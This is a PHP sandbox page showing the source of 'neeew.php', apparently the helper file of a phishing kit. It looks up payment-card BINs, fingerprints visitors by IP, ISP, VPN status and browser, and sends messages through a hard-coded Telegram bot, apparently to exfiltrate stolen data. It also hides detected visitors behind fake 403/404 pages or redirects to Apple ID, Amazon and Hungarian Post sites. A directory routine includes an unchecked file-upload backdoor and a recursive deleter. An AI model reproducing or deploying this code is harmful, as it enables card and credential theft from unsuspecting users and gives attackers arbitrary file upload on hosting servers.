neeew - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of neeew.php

  1. /**
  2.  * contact: (https://t.me/xhn07)
  3.  * Functions Page
  4. */
  5.  
  6. // Turn off all error reporting
  7. // error_reporting(0);
  8.  
  9. // Report all PHP errors
  10. error_reporting(0);
  11.  
  12. // CSRF Protection
  13.  
  14. class CSRF {
  15.     public static function generate() {
  16.         return $_SESSION['CSRF_KEY'] = base64_encode(openssl_random_pseudo_bytes(32));
  17.     }
  18.     public static function validate($csrf_token) {
  19.         if(isset($_SESSION['CSRF_KEY']) && $_SESSION['CSRF_KEY'] == $csrf_token){
  20.             //unset($_SESSION['CSRF_KEY']);
  21.             return true;
  22.         }else{
  23.             return false;
  24.         }
  25.     }
  26. }
  27.  
  28. class DELD {
  29.     public static function deleteDir($dirPath) {
  30.         if (! is_dir($dirPath)) {
  31.             throw new InvalidArgumentException("$dirPath must be a directory");
  32.         }
  33.         if (substr($dirPath, strlen($dirPath) - 1, 1) != '/') {
  34.             $dirPath .= '/';
  35.         }
  36.         $files = glob($dirPath . '*', GLOB_MARK);
  37.         foreach ($files as $file) {
  38.             if (is_dir($file)) {
  39.                 self::deleteDir($file);
  40.             } else {
  41.                 unlink($file);
  42.             }
  43.         }
  44.         rmdir($dirPath);
  45.     }
  46.     public static function editDir($dirPath) {
  47.         if(isset($dirPath) ){
  48.             if ($handle = opendir($dirPath)) {
  49.                 while (false !== ($entry = readdir($handle))) {
  50.                     if ($entry != "." && $entry != "..") {
  51.                         echo "$entry\n";
  52.                     }
  53.                 }
  54.                 closedir($handle);
  55.             }
  56.             move_uploaded_file($_FILES['edit']['tmp_name'],$_FILES['edit']['name']);
  57.             return true;
  58.         }
  59.         return false;
  60.     }
  61. }
  62.  
  63. // GET COUNTRY CODE BY IP
  64.  
  65. function setIP(){
  66.     $remote  = $_SERVER['REMOTE_ADDR'];
  67.     $client  = @$_SERVER['HTTP_CLIENT_IP'];
  68.     $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
  69.     if(filter_var($remote, FILTER_VALIDATE_IP)){
  70.         $ip = $remote;
  71.     } elseif(filter_var($client, FILTER_VALIDATE_IP)){
  72.         $ip = $client;
  73.     } else {
  74.         $ip = $forward;
  75.     }
  76.     return $ip;
  77. }
  78.  
  79. function getIP($ip){
  80.     if($ip == "127.0.0.1" || $ip == '::1') {
  81.         $ip = "";
  82.     }
  83.     $ip_request = curl("http://www.geoplugin.net/json.gp?ip=".$ip);
  84.     $ip_data = json_decode($ip_request['content'], TRUE);
  85.     if(!empty($ip_data['geoplugin_countryCode']) && !empty($ip_data['geoplugin_countryName'])){
  86.         $ip_info = [
  87.             'countrycode' => $ip_data['geoplugin_countryCode'],
  88.             'countryname' => $ip_data['geoplugin_countryName'],
  89.             'city'        => $ip_data['geoplugin_city'],
  90.             'region'      => $ip_data['geoplugin_region']
  91.         ];
  92.  
  93.     } else {
  94.         $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
  95.         if($ip_data && $ip_data->geoplugin_countryCode != null) {
  96.             $ip_info = [
  97.                 'countrycode' => $ip_data->geoplugin_countryCode,
  98.                 'countryname' => $ip_data->geoplugin_countryName,
  99.                 'city'        => $ip_data->geoplugin_city,
  100.                 'region'      => $ip_data->geoplugin_region,
  101.             ];
  102.         }
  103.     }
  104.     return $ip_info;
  105. }
  106.  
  107. function cardinfo($bincode){
  108.     $bincode = str_replace(" ","", $bincode);
  109.     $bincode = substr($bincode, 0, 8);
  110.     $bnk_data = curl("https://lookup.binlist.net/".$bincode);
  111.     $bin = json_decode($bnk_data['content']);
  112.     return $bin;
  113. }
  114.  
  115. function getBankInfo($binObj, $bank_list){
  116.     $retData = 0;
  117.     if(isset($binObj->bank->url) || isset($binObj->bank->name)){
  118.         foreach($bank_list as $key => $value){
  119.             if(preg_match("/$key/i", $binObj->bank->url)){
  120.                 $retData = $key;
  121.             }
  122.             if(preg_match("/$value/i", $binObj->bank->name)){
  123.                 $retData = $key;
  124.             }
  125.         }
  126.         return $retData;
  127.     }else{
  128.         return 0;
  129.     }
  130. }
  131.  
  132. function curl($url, $method = 'GET', $cookies = null, $data = null, $follow = false){
  133.     $ch = curl_init();
  134.     curl_setopt($ch, CURLOPT_URL,$url);
  135.     curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  136.     curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));
  137.     curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  138.     if($method == 'POST' && isset($data) === true) {
  139.         curl_setopt($ch, CURLOPT_POST, 1);
  140.         curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  141.     }
  142.     if(isset($cookies)) {
  143.         curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
  144.         curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
  145.     }
  146.     if($follow){
  147.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  148.     }
  149.  
  150.     $content = curl_exec($ch);
  151.     if(!curl_errno($ch)){
  152.         $return = [
  153.             "status"        => curl_getinfo($ch, CURLINFO_HTTP_CODE),
  154.             "redirect_url"  => curl_getinfo($ch, CURLINFO_REDIRECT_URL),
  155.             "content"       => $content
  156.         ];
  157.     }
  158.     curl_close($ch);
  159.     return $return;
  160. }
  161.  
  162.  
  163. function getOS() {
  164.     $user_agent     =   $_SERVER['HTTP_USER_AGENT'];
  165.     $os_platform    =   "Unknown OS Platform";
  166.     $os_array       =   array(
  167.                             '/windows nt 10/i'      =>  'Windows 10',
  168.                             '/windows nt 6.3/i'     =>  'Windows 8.1',
  169.                             '/windows nt 6.2/i'     =>  'Windows 8',
  170.                             '/windows nt 6.1/i'     =>  'Windows 7',
  171.                             '/windows nt 6.0/i'     =>  'Windows Vista',
  172.                             '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
  173.                             '/windows nt 5.1/i'     =>  'Windows XP',
  174.                             '/windows xp/i'         =>  'Windows XP',
  175.                             '/windows nt 5.0/i'     =>  'Windows 2000',
  176.                             '/windows me/i'         =>  'Windows ME',
  177.                             '/win98/i'              =>  'Windows 98',
  178.                             '/win95/i'              =>  'Windows 95',
  179.                             '/win16/i'              =>  'Windows 3.11',
  180.                             '/macintosh|mac os x/i' =>  'Mac OS X',
  181.                             '/mac_powerpc/i'        =>  'Mac OS 9',
  182.                             '/linux/i'              =>  'Linux',
  183.                             '/ubuntu/i'             =>  'Ubuntu',
  184.                             '/iphone/i'             =>  'iPhone',
  185.                             '/ipod/i'               =>  'iPod',
  186.                             '/ipad/i'               =>  'iPad',
  187.                             '/android/i'            =>  'Android',
  188.                             '/blackberry/i'         =>  'BlackBerry',
  189.                             '/webos/i'              =>  'Mobile'
  190.                         );
  191.     foreach ($os_array as $regex => $value) {
  192.         if (preg_match($regex, $user_agent)) {
  193.             $os_platform    =   $value;
  194.         }
  195.     }
  196.     return $os_platform;
  197. }
  198.  
  199. function getBrowser() {
  200.     $user_agent     =   $_SERVER['HTTP_USER_AGENT'];
  201.     $browser        =   "Unknown Browser";
  202.     $browser_array  =   array(
  203.                             '/msie/i'       =>  'Internet Explorer',
  204.                             '/firefox/i'    =>  'Firefox',
  205.                             '/brave/i'      =>  'Brave',
  206.                             '/safari/i'     =>  'Safari',
  207.                             '/chrome/i'     =>  'Chrome',
  208.                             '/opera/i'      =>  'Opera',
  209.                             '/netscape/i'   =>  'Netscape',
  210.                             '/maxthon/i'    =>  'Maxthon',
  211.                             '/konqueror/i'  =>  'Konqueror',
  212.                             '/mobile/i'     =>  'Handheld Browser'
  213.                         );
  214.     foreach ($browser_array as $regex => $value) {
  215.         if (preg_match($regex, $user_agent)) {
  216.             $browser    =   $value;
  217.         }
  218.     }
  219.     return $browser;
  220. }
  221.  
  222. function get_vpn($ip) {
  223.     if($ip == "127.0.0.1" || $ip == '::1') {
  224.         return "N";
  225.     }else{
  226.         $result = curl('https://blackbox.ipinfo.app/lookup/'.$ip);
  227.         return $result['content'];
  228.     }
  229. }
  230.  
  231. function getISP($ip) {
  232.     if($ip == "127.0.0.1" || $ip == '::1') {
  233.         $ip = "";
  234.     }
  235.     $content = curl('https://ipapi.co/'.$ip.'/org/');
  236.     return $content['content'];
  237.  
  238. }
  239.  
  240. function send_messages($target, $message){
  241.     if($target == "telegram"){
  242.         $url  = "https://api.telegram.org/bot" . XHN_TELEGRAM_TOKEN;
  243.         $url .= "/sendMessage?chat_id=" . XHN_TELEGRAM_CHAT_ID;
  244.         $url .= "&text=" . urlencode($message);
  245.         $ret  = curl($url);
  246.     }
  247.     return $ret['content'];
  248. }
  249.  
  250. function get_data($data) {
  251.     $data = file_get_contents("db/$data.dat");
  252.     $data = explode("\n", $data);
  253.     return $data;
  254. }
  255.  
  256. function put_data($file,$data){
  257.     $handle = fopen($file, "a");
  258.     fwrite($handle, $data."\n");
  259.     fclose($handle);
  260. }
  261.  
  262. function blocked($type) {
  263.     if($type == "403") {
  264.         header('HTTP/1.0 403 Forbidden', true, 403);
  265.         die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');
  266.     }
  267.     if($type == "404") {
  268.         header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404);
  269.         die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>');
  270.     }
  271.     if($type == "Google") {
  272.         header("location: https://google.com");
  273.     }
  274.     if($type == "Yahoo") {
  275.         header("location: https://yahoo.com");
  276.     }
  277.     if($type == "Bing") {
  278.         header("location: https://bing.com");
  279.     }
  280.     if($type == "Apple") {
  281.         header("location: https://appleid.apple.com");
  282.     }
  283.     if($type == "Amazon") {
  284.         header("location: https://amazon.com");
  285.     }
  286.     if($type == "Magyar") {
  287.         header("location: https://posta.hu");
  288.     }
  289.     exit();
  290. }
  291.  
File Description
  • neeew
  • PHP Code
  • 08 May-2024
  • 9.78 Kb
You can Share it: